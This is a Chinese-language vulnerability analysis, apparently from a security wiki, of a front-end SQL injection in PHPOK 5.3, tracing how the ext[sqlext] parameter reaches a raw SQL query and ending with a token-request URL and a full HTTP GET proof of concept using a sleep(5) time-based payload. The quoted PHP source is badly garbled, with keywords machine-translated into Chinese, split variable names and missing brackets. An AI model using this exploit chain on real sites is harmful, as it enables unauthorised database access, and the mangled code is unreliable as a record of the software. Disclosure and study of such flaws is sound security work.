跳转至

PHPOK 5.3 前台注入

一、漏洞简介

二、漏洞影响

PHPOK 5.3

三、复现过程

漏洞分析

灵活获取参数:$this->get()方法

framework / init.php#get

最后的公共函数get($ id,$ type =“ safe”,$ ext =“”)
{ 
    // PGC进入获取
    $ val = isset($ _ POST [$ id])?$ _POST [$ id]:(isset($ _ GET [$ id])?$ _GET [$ id]:(isset($ _ COOKIE [$ id])?$ _COOKIE [$ id]:'')); 
    if($ val ==''){ 
        if($ type =='int'|| $ type =='intval'|| $ type =='float'|| $ type =='floatval'){ 
            返回0 ; 
        } else { 
            return”; 
        } 
    } 
    //判断内容是否有转义,所有未转义的数据都直接转义
    $ addslashes = false; 
    if(function_exists(“ get_magic_quotes_gpc”)&& get_magic_quotes_gpc()){ 
        $ addslashes = true; 
    } 
    if(!
        $ addslashes){ $ val = $ this-> _ addslashes($ val); 
    }
    返回$ this-> format($ val,$ type,$ ext); 
}

跟进format函数:framework / init.php#format

最终的公共函数格式($ msg,$ type = safe”,$ ext =“”)
{ 
    if($ msg ==“”){ 
        return ;; 
    } 
    ifis_array($ msg)){ 
        foreach($ msg as $ key => $ value){ 
            if(!is_numeric($ key)){ 
                $ key2 = $ this-> format($ key; 
                if($ key2 ==``|| in_array($ key2array'#''&''%'))){ 
                    unset($ msg [$ key]; 
                    继续; 
                } 
            } 
            $ msg [$ key] = $ this-> format($ value,$ type,$ ext; 
        } 
        if($ msg && count($ msg> 0){ 
            返回$ msg; 
        } 
        返回false; 
    }
    if($ type =='html_js'||($ type =='html'&& $ ext)){ 
        $ msg = stripslashes($ msg; 
        if($ this-> app_id='admin'){ 
            $ msg = $ this-> lib'string'-> xss_clean($ msg; 
        } 
        $ msg = $ this-> lib'string'-> clear_url($ msg,$ this-> url; 
        返回addslashes($ msg; 
    } 
    //转义去除
    $ msg = stripslashes($ msg; 
    //格式化处理内容
    开关($ type){ 
        case'safe_text'
            $ msg = strip_tags($ msg; 
            $ msg = str_replacearray(“ \\”,“'”,'',” <“,”>“),'',$ msg); 
        break; 
        情况'system':
            $ msg =!preg_match(“ / ^ [a-zA-Z] [a-z0-9A-Z \ _ \-] + $ / u”,$ msg)吗?false:$ msg;
        打破; 
        情况'id':
            $ msg =!preg_match(“ / ^ [a-zA-Z] [a-z0-9A-Z \ _ \-] + $ / u”,$ msg)吗?false:$ msg; 
        打破; 
        情况'复选框':
            $ msg = strtolower($ msg)=='on'吗?1:$ this-> format($ msg,'safe'); 
        打破; 
        情况'int':
            $ msg = intval($ msg); 
        打破; 
        情况'intval':
            $ msg = intval($ msg); 
        打破; 
        情况'float':
            $ msg = floatval($ msg); 
        打破; 
        情况'floatval':
            $ msg = floatval($ msg); 
        打破; 
        案例“时间”:

        打破; 
        情况'html':
            $ msg = $ this-> lib('string')-> safe_html($ msg,$ this-> url); 
        打破; 
        情况'func':
            $ msg = function_exists($ ext)?$ ext($ msg):假; 
        打破; 
        情况'text':
            $ msg = strip_tags($ msg); 
        打破; 
        默认值:
            $ msg = str_replace(array(“ \\”,“'”,'“',” <“,”>“),array(”\“,”'“,”" “,”<“,”>“),$ msg; 
        break; 
    } 
    if($ msg){ 
        $ msg =加上斜线($ msg; 
    } 
    返回$ msg; 
}

格式默认为安全模式,也就是仅将\ \" \' \< >实体编码。

注入点:

framework / api / index_control.php#phpok_f

// ... 
$ token = $ this-&gt; get(“ token”); 
if(!$ token){ 
    $ this-&gt; jsonP_Lang(“接口数据异常”));; 
} 
$ this-&gt; lib'token'-&gt; keyid($ this-&gt; site ['api_code']; 
$ info = $ this-&gt; lib'token'-&gt; decode($ token; 
if(!$ info){ 
    $ this-&gt; jsonP_Lang'信息为空')); 
} 
$ id = $ info ['id'];

// 176
$ ext = $ this-&gt; get'ext'; 
if($ ext &amp;&amp; is_array($ ext)){ 
    foreach($ ext as $ key =&gt; $ value){ 
        if(!$ value){ 
            继续;
        } 
        // sqlext变量转义取消
        if($ key =='sqlext'&amp;&amp; $ value){ 
            $ value = str_replacearray'&#39;''“”,''''&#34 ;'),array(“'”,'',”'“,'”'),$ value; 
        } 
        $ param [$ key] = $ value; 
    } 
} 
// $ id从加密的令牌中来
/// sqlsql的值的函数只有_userlist_arc_condition_single_arc_condition 
$ list = $ this-&gt; call-&gt; phpok($ id,$ param;

继续跟进phpok函数:framework / phpok_call.php#phpok

公共功能phpok($ id,$ rs =“”)
{ 
    // 76行
    $ siteinfo = $ this-&gt; model('site')-&gt; get_one($ rs ['site']); 
    // 91行
    if(substr($ id,0,1)!='_'){ 
    // $ id从令牌中来,为phpok表中identifier标识符,$ rs ['site']可控为任意值
    $ call_rs = $ this-&gt; load_phpoklist($ id,$ rs ['site']); 
    } 
    // 116行
    $ func ='_'。$ call_rs ['type_id']; 
    // 131行动态调用函数_xxxx 
    return $ 
this- &gt; $ func($ call_rs,$ cache_id); }

跟进load_phpoklist:framework / phpok_call.php#load_phpoklist

私有函数load_phpoklist($ id,$ siteid = 0)
{ 
    $ this-&gt; model('call')-&gt; site_id($ siteid); 
    if($ this-&gt; _ cache &amp;&amp; $ this-&gt; _ cache [$ id]){ 
        返回$ this-&gt; _ cache [$ id]; 
    } 
    $ this-&gt; _ cache = $ this-&gt; model('call')-&gt; all($ siteid,'identifier'); 
    if($ this-&gt; _ cache &amp;&amp; $ this-&gt; _ cache [$ id]){ 
        返回$ this-&gt; _ cache [$ id]; 
    } 
    返回false; 
}

这一段代码$this->model(\'call\')->all($siteid,\'identifier\');实现的是查询phpok表,其中identifier

xxx的信息,然后在phpok()函数的131行进行动态调用其插入为type_id的值函数。

例如我们要调用framework/phpok_call.php下的_arclist函数,我们可以选择:

http://0-sec.org/api.php?c=index&amp;f=phpok&amp;ext[site]=1&amp;token=加密('id=m_picplayer')

我们接着在framework/phpok_call.php电子邮件寻找柯林斯触发SQL的函数,从phpok表里我们可以看到其默认的TYPE_ID只有四个不同的值arclist, ,arc,catelist,project我们而需要找到拼接sqlext变量的函数:

框架/ phpok_call.php#_arclist

私有函数_arclist($ rs,$ cache_id ='')
{ 
    // 254行
    $ condition = $ this-&gt; _ arc_condition($ rs,$ flist,$ project); 
    //带入注入数据
    $ array ['total'] = $ this-&gt; model('list')-&gt; arc_count($ project ['module'],$ condition); 
}

跟进:framework / phpok_call.php#_arc_condition

直接拼接了sqlext

private function _arc_condition($rs,$fields='',$project='')
{
    // 623
        if($rs['sqlext']){
        $condition .= " AND ".$rs['sqlext'];
    }

    // 671
    return $condition;
}

接着将结果带入了:

$ this-&gt; model('list')-&gt; arc_count($ project ['module'],$ condition);

调用:framework / model / list.php#arc_count 5.jpg

拼接sql,调用$this->db->count($sql)

framework / engine / db / mysqli.php#count

公共功能计数($ sql =“”,$ is_count = true)
{ 
    if($ sql &amp;&amp; is_string($ sql)&amp;&amp; $ is_count){ 
        $ this-&gt; set('type','num'); 
        $ rs = $ this-&gt; get_one($ sql); 
        $ this-&gt; set('type','assoc'); 
        返回$ rs [0]; 
    } else { 
        if($ sql &amp;&amp; is_string($ sql)){ 
            $ this-&gt; query($ sql); 
        } 
        if($ this-&gt; query){ 
            返回mysqli_num_rows($ this-&gt; query); 
        } 
    } 
    返回false; 
}

根进get_one函数:framework / engine / db / mysqli.php#get_one

公共功能get_one($ sql ='')
{ 
    if($ sql){ 
        $ false = $ this-&gt; cache_false($ sql); 
        if($ false){ 
            返回false; 
        } 
        if($ this-&gt; cache_get($ sql)){ 
            返回$ this-&gt; cache_get($ sql); 
        } 
        $ this-&gt; query($ sql);

根进$this->query($sql);:framework / engine / db / mysqli.php#query

最终将sql带入执行。

当然,到这里,其实还有一个问题没有解决,我们需要如果拿到token=加密(\'id=m_picplayer\')。

框架/ API / index_control.php#token_f

{ 
    $ this-&gt; config'is_ajax'true; 
    if(!$ this-&gt; site ['api_code']){ 
        $ this-&gt; errorP_Lang(“系统未配置接口功能”)); 
    } 
    $ id = $ this-&gt; get'id''system'; 
    if(!$ id){ 
        $ this-&gt; errorP_Lang'未指定数据调用标识')); 
    } 
    $ this-&gt; model'call'-&gt; site_id($ this-&gt; site ['id']; 
    //限制范围,其中identifier = $ id 
    $ rs = $ this-&gt; model'call'-&gt; get_one($ id'identifier'; 
    if(!$ rs ||!$ rs ['status']){ 
        $ this-&gt; errorP_Lang'标识不存在或未启用')); 
    }

  // 141
    $ array = array'id'=&gt; $ id'param'=&gt; $ param; 
    $ token = $ this-&gt; lib'token'-&gt; encode($ array; 
    $ this-&gt; success($ token; 
}

其中第一个如果条件需要在后台生成api字符串:

没开启的话,其实构造一个csrf的poc也是可以的

第二个条件预期id=m_picplayer即可

漏洞复现

http://0-sec.org/api.php?c=index&amp;f=token&amp;id=m_picplayer

POC:

GET /api.php?c=index&amp;f=phpok&amp;token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&amp;ext[sqlext]=sleep(5)%23&amp;ext[site]=1 HTTP/1.1
Host: 0-sec.org
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4
Connection: close

四、参考链接

https://xz.aliyun.com/t/6830